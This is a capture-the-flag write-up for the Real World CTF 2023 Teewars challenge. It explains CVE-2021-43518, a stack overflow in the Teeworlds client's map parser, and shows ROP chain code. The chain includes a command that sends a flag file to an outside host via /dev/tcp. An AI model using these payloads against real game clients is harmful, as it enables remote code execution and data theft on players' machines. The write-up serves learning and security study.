2023 Real World CTF - Teewars

2023 Real World CTF is an excellent 0&1-day CTF game!

During the game, I solved two challenges: Hardened Redis, tinyvm with my teammates of team r3kapig, and solved Teewars after the game.

I decided to write the writeup about challenge Teewars. Because of covid infection and Chinese new year, until now (2023-1-30), the writeup was just completed.

TL;DR

Generate a malicious map file through CVE-2021-43518 on the game server, and when the game client connects to it, hack the game client.

Intro

Teeworlds is an open-source game, its Github description: Teeworlds is a free online multiplayer game, available for all major operating systems.

The challenge provides a simple rust tool, as a game client, which can connect to any server by entering the ip address. And From the patch of CMakelist and compile parameters, we can know that all canary related protections and PIE are disabled when compiling.

So our target is to do some malicious operations on the game server, to achieve the purpose of controlling the game client. By observing the compile parameters, we can also guess that the exploit may be a stack bufffer overflow.

Vul

After some quick search, I found CVE-2021-43518, and got a detailed bug reprot with crash sample from its repo issue.

The vulnerability occurs in the function: CMapLayers::LoadEnvPoints in path src/game/client/components/maplayers.cpp.

When the client connects to the server, it will load the server’s map file data into the local memory, and invoke CMapLayers::LoadEnvPoints to parse map file data.

The vulnerability core code is below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// get envelope points
CEnvPoint *pPoints = 0x0;
{
int Start, Num;
pLayers->Map()->GetType(MAPITEMTYPE_ENVPOINTS, &Start, &Num);
pPoints = (CEnvPoint *)pLayers->Map()->GetItem(Start, 0, 0);
}

for(int env = 0; env < Num; env++)
{
CMapItemEnvelope *pItem = (CMapItemEnvelope *)pLayers->Map()->GetItem(Start+env, 0, 0);

if(pItem->m_Version >= 3)
{
...
}
else
{
// backwards compatibility
for(int i = 0; i < pItem->m_NumPoints; i++)
{
// convert CEnvPoint_v1 -> CEnvPoint
CEnvPoint_v1 *pEnvPoint_v1 = &((CEnvPoint_v1 *)pPoints)[i + pItem->m_StartPoint];
CEnvPoint p;

for(int c = 0; c < pItem->m_Channels; c++)
{
p.m_aValues[c] = pEnvPoint_v1->m_aValues[c];
p.m_aInTangentdx[c] = 0;
p.m_aInTangentdy[c] = 0;
p.m_aOutTangentdx[c] = 0;
p.m_aOutTangentdy[c] = 0;
}

lEnvPoints.add(p);
}
}
}

pItem and pPoints come from map file, and pEnvPoint_v1 is a variable of type CEnvPoint_v1, which comes from pPoints, so we have full control over these three variables by modifying the map file. Variable p is a temporary variable of type CEnvPoint.

CEnvPoint and CEnvPoint_v1 struct code is below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct CEnvPoint_v1
{
int m_Time; // in ms
int m_Curvetype;
int m_aValues[4]; // 1-4 depending on envelope (22.10 fixed point)

bool operator<(const CEnvPoint_v1 &Other) const { return m_Time < Other.m_Time; }
} ;

struct CEnvPoint : public CEnvPoint_v1
{
// bezier curve only
// dx in ms and dy as 22.10 fxp
int m_aInTangentdx[4];
int m_aInTangentdy[4];
int m_aOutTangentdx[4];
int m_aOutTangentdy[4];

bool operator<(const CEnvPoint& other) const { return m_Time < other.m_Time; }
};

Variable p is obviously located on the stack, and p‘s members have fixed size 4. In the loop of assigning p‘s members, the loop is over pItem->m_Channels, which is int type and still under our map’s control.

Therefore, a value of pItem->m_Channels greater than 4, will cause the assignment of p‘s members out of bounds.

Debug

I downloaded crash map file from bug issue above. and debug the client binary based on this map file.

Basic debug process:

  • Modify map file, and replace data/maps/dm1.map with the file.
  • Restart the server.
  • Set breakpoint at ret address of CMapLayers::LoadEnvPoints stack frame in gdb.
  • Start the client with the set args "connect 127.0.0.1" "gfx_fullscreen 0" "gfx_screen_height 240" "gfx_screen_width 360" parameter in gdb.

I did not analyze the file format of map in detail, so this step has two targets:

  • To find the position of pItem->m_Channels in the map.
  • To find the position of pEnvPoint_v1->m_aValues[c] in the map.

If I can find these two positions, then I can directly put the payload in the corresponding position.

By observing the key value in gdb, find the corresponding little endian data in the map file. Change the corresponding data to something special data like 0xaabbccdd, and then judge whether the position of value is correct in gdb; until the ROP chain payload can be loaded.

During debugging, I found some problems: there exists a simple check of map file CRC in function CClient::ProcessServerPacket in file src/engine/client/client.cpp.

You can do some basic reverse work to generate a fake CRC value to bypass the check. I have no enough time, so I just made a patch directly:

1
2
// pError = "invalid standard map";
pError = 0;

And another patch at the server side in function CServer::LoadMap in file src/engine/server/server.cpp:

1
2
3
4
5
if(!m_MapChecker.ReadAndValidateMap(Storage(), aBuf, IStorage::TYPE_ALL))
{
Console()->Print(IConsole::OUTPUT_LEVEL_STANDARD, "mapchecker", "invalid standard map");
// return 0;
}

If you wanna understand the file format of the map more, you can read this writeup by Sauercloud.

Exp

Last step: write the exploit code.

It is about ROP with no canary and no PIE, and it is a one-time ROP. I need to execute the following code:

1
system("bash -c 'cat /home/rwctf/flag > /dev/tcp/{ip}/{port}'");

or

1
execve("/bin/sh", "-c", "'cat /home/rwctf/flag > /dev/tcp/{ip}/{port}'");

Firstly I found some basic gadgets:

1
2
3
4
5
pop rdi, ret;
pop rsi, ret;
pop rdx, ret;
pop rax, ret;
syscall;

Therefore, I can easily control the first three parameters of the syscall, and invoke the syscall one time with no return.

And then I found an interesting gadget:

1
mov qword ptr [rdi], rax; ret;

I can use this gadget to load the required string in the BSS section, the code is as follows:

1
2
3
4
5
6
7
8
bin_sh_str = "bash -c 'cat /home/rwctf/flag > /dev/tcp/{ip}/{port}'"
bin_sh_str += "\x00" * (8 - (len(bin_sh_str) % 8))
for i in range(len(bin_sh_str) / 8):
rop += p64(pop_rax_ret)
rop += bin_sh_str[8*i : 8*(i+1)]
rop += p64(pop_rdi_ret)
rop += p64(bss_addr + 8*i)
rop += p64(mov_qword_ptr_rdi_rax_ret)

Then I can write the ROP payload about the execve method:

1
2
3
4
5
6
7
8
9
rop += p64(pop_rdi_ret)
rop += p64(bss_addr + offset1)
rop += p64(pop_rsi_ret)
rop += p64(bss_addr + offset2)
rop += p64(pop_rdx_ret)
rop += p64(bss_addr + offset3)
rop += p64(pop_rax_ret)
rop += p64(59) # execve syscall id
rop += p64(syscall)

If you wanna write the ROP payload about the system method, you need to find other interesting gadgets (inspired by God Swing):

1
2
add rax, rdi; ret;
mov rax, qword ptr [rdi]; ret;

Then I can change the GOT address from __libc_start_main to system, and invoke system function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# mov rdi, read@got;
# mov rax qword ptr [rdi];
# mov rdi, system_read_offset;
# add rax, rdi;
# mov rdi, __libc_start_main@got;
# mov qword ptr [rdi], rax; ret;
# mov rdi, bin_sh_addr;
# call __libc_start_main@plt;

rop += p64(pop_rdi_ret)
rop += p64(read_got)
rop += p64(mov_rax_qword_ptr_rdi_ret)
rop += p64(pop_rdi_ret)
rop += p64(system_read_offset)
rop += p64(add_rax_rdi_ret)
rop += p64(pop_rdi_ret)
rop += p64(libc_start_main_got)
rop += p64(mov_qword_ptr_rdi_rax_ret)
rop += p64(pop_rdi_ret)
rop += p64(bss_addr)
rop += p64(libc_start_main_plt)

Ref

[1]. Teeworlds Github Issue. https://github.com/teeworlds/teeworlds/issues/2981
[2]. Sauercloud Writeup. https://ctf0.de/posts/realworldctf5-teewars/